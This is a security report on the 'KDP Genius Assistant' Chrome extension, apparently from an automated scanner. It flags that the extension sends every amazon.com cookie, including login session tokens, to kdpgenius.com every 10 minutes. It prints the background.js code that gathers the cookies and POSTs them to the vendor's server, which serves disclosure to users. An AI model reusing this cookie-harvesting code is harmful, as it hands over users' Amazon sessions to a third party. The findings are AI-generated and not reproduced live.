Is KDP Genius Assistant safe?

Medium risk

KDP Genius Assistant is medium risk. Code analysis shows the extension reads every amazon.com cookie, including your session-id, at-main, ubid-main and session-token login cookies, and sends the full set to kdpgenius.com every 10 minutes once you sign in to its own account.

kdpgeniusv2.0.3Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-522
SourceAI FOUND

KDP Genius sends your Amazon session cookies to its own server every 10 minutes

Code analysis shows the extension reads every amazon.com cookie, including your session-id, at-main, ubid-main and session-token login cookies, and sends the full set to kdpgenius.com every 10 minutes once you sign in to its own account.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You sign in to your KDP Genius account from the extension popup with an active Amazon session open.

The extension did this

The extension reads your amazon.com cookies and starts sending the full set to its own server every 10 minutes.

This includes session-id, at-main, ubid-main and session-token, the cookies that keep you signed in to your Amazon account.

02EvidenceFIELD TABLE
What is sent to kdpgenius.com on every sync
FieldValueWhy it matters
Amazon login session ID
session-id: 138-4827193-5566241Identifies your signed-in Amazon session. Whoever holds it can act as you on amazon.com without your password.
Amazon account auth token
at-main: Atza|IwEBIOV1x9k_REDACTEDThe main authentication cookie for your Amazon account, one of the cookies Amazon itself uses to keep you signed in.
Amazon account ID cookie
ubid-main: 132-9021456-7734128Ties the session to a specific Amazon account.
Amazon session auth token
session-token: qF3k9pLx_REDACTEDA second Amazon session-auth cookie, sent alongside at-main.
03EvidenceCODE COMPARE
The code that does this

Capturing the cookies, then sending them off-device

What it actually does
Cookie capture, renamed for claritybackground.js
// Reads EVERY browser cookie, then keeps every one scoped to amazon.com,
// including the root-account login cookies, not just a KDP-specific token.
const allBrowserCookies = await chrome.cookies.getAll({});
const amazonAccountCookies = allBrowserCookies.filter((cookie) => {
  const domain = cookie.domain.toLowerCase();
  return domain.includes("amazon.com");
});
Sync payload, renamed for claritybackground.js
// exportSessionCookies() serializes name, value, domain, path, secure and
// httpOnly for every captured Amazon cookie. That full array, unmodified,
// is what gets attached to the outgoing payload as `cookies`.
async function sendCookiesAndSalesDataToVendorServer(userId, authToken) {
  const rawAmazonCookieJar = await exportSessionCookies();
  const kdpSalesData = await fetchKDPDataWithCookies(today);
  const payload = {
    userId,
    token: authToken,
    kdpData: kdpSalesData,
    cookies: rawAmazonCookieJar,
    timestamp: Date.now(),
  };
  return fetch("https://kdpgenius.com/api/extension/sync", {
    method: "POST",
    headers: { "Content-Type": "application/json", Authorization: `Bearer ${authToken}` },
    body: JSON.stringify(payload),
  });
}
04EvidenceTEMPORAL PATTERN
When this fires
Every 10 minutes

Repeats every 10 minutes for as long as auto-sync stays enabled, starting 1 minute after you sign in to KDP Genius.

05EvidenceTHIRD PARTY LIST
Where your Amazon cookies go
  • kdpgenius.com

    The vendor's own KDP Genius backend. Receives the full raw cookie jar in addition to the parsed KDP sales data the extension already fetches client-side.

06EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 2.0.3. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on amazon.com

    https://*.amazon.com/* and 1 more

  • Read and change your data on kdp.amazon.com

    https://kdp.amazon.com/*

  • Read and change your data on kdpreports.amazon.com

    https://kdpreports.amazon.com/*

  • Read and change your data on amazon.co.uk

    https://*.amazon.co.uk/* and 1 more

  • Read and change your data on kdp.amazon.co.uk

    https://kdp.amazon.co.uk/*

  • Read and change your data on kdpreports.amazon.co.uk

    https://kdpreports.amazon.co.uk/*

  • Read and change your data on amazon.de

    https://*.amazon.de/* and 1 more

  • Read and change your data on kdp.amazon.de

    https://kdp.amazon.de/*

  • Read and change your data on kdpreports.amazon.de

    https://kdpreports.amazon.de/*

  • Read and change your data on amazon.fr

    https://*.amazon.fr/* and 1 more

  • Read and change your data on kdp.amazon.fr

    https://kdp.amazon.fr/*

  • Read and change your data on kdpreports.amazon.fr

    https://kdpreports.amazon.fr/*

  • Read and change your data on amazon.es

    https://*.amazon.es/* and 1 more

  • Read and change your data on kdp.amazon.es

    https://kdp.amazon.es/*

  • Read and change your data on kdpreports.amazon.es

    https://kdpreports.amazon.es/*

  • Read and change your data on amazon.it

    https://*.amazon.it/* and 1 more

  • Read and change your data on kdp.amazon.it

    https://kdp.amazon.it/*

  • Read and change your data on kdpreports.amazon.it

    https://kdpreports.amazon.it/*

  • Read and change your data on amazon.co.jp

    https://*.amazon.co.jp/* and 1 more

  • Read and change your data on kdp.amazon.co.jp

    https://kdp.amazon.co.jp/*

  • Read and change your data on kdpreports.amazon.co.jp

    https://kdpreports.amazon.co.jp/*

  • Read and change your data on amazon.ca

    https://*.amazon.ca/* and 1 more

  • Read and change your data on kdp.amazon.ca

    https://kdp.amazon.ca/*

  • Read and change your data on kdpreports.amazon.ca

    https://kdpreports.amazon.ca/*

  • Read and change your data on amazon.com.au

    https://*.amazon.com.au/* and 1 more

  • Read and change your data on kdp.amazon.com.au

    https://kdp.amazon.com.au/*

  • Read and change your data on kdpreports.amazon.com.au

    https://kdpreports.amazon.com.au/*

  • Read and change your data on amazon.in

    https://*.amazon.in/* and 1 more

  • Read and change your data on kdp.amazon.in

    https://kdp.amazon.in/*

  • Read and change your data on kdpreports.amazon.in

    https://kdpreports.amazon.in/*

  • Read and change your data on amazon.com.br

    https://*.amazon.com.br/* and 1 more

  • Read and change your data on kdp.amazon.com.br

    https://kdp.amazon.com.br/*

  • Read and change your data on kdpreports.amazon.com.br

    https://kdpreports.amazon.com.br/*

  • Read and change your data on amazon.com.mx

    https://*.amazon.com.mx/* and 1 more

  • Read and change your data on kdp.amazon.com.mx

    https://kdp.amazon.com.mx/*

  • Read and change your data on kdpreports.amazon.com.mx

    https://kdpreports.amazon.com.mx/*

  • Read and change your data on amazon.nl

    https://*.amazon.nl/* and 1 more

  • Read and change your data on kdp.amazon.nl

    https://kdp.amazon.nl/*

  • Read and change your data on kdpreports.amazon.nl

    https://kdpreports.amazon.nl/*

  • Read and change cookies, including the ones that keep you signed in

    cookies

  • Store data in your browser

    storage

  • Schedule its own background tasks

    alarms

  • Sign you in with your Google account

    identity

  • Act on the current tab, but only after you click the extension

    activeTab

windows
Updated 30 September 2026bpndjljccoedobohmiiokflgfmahppfd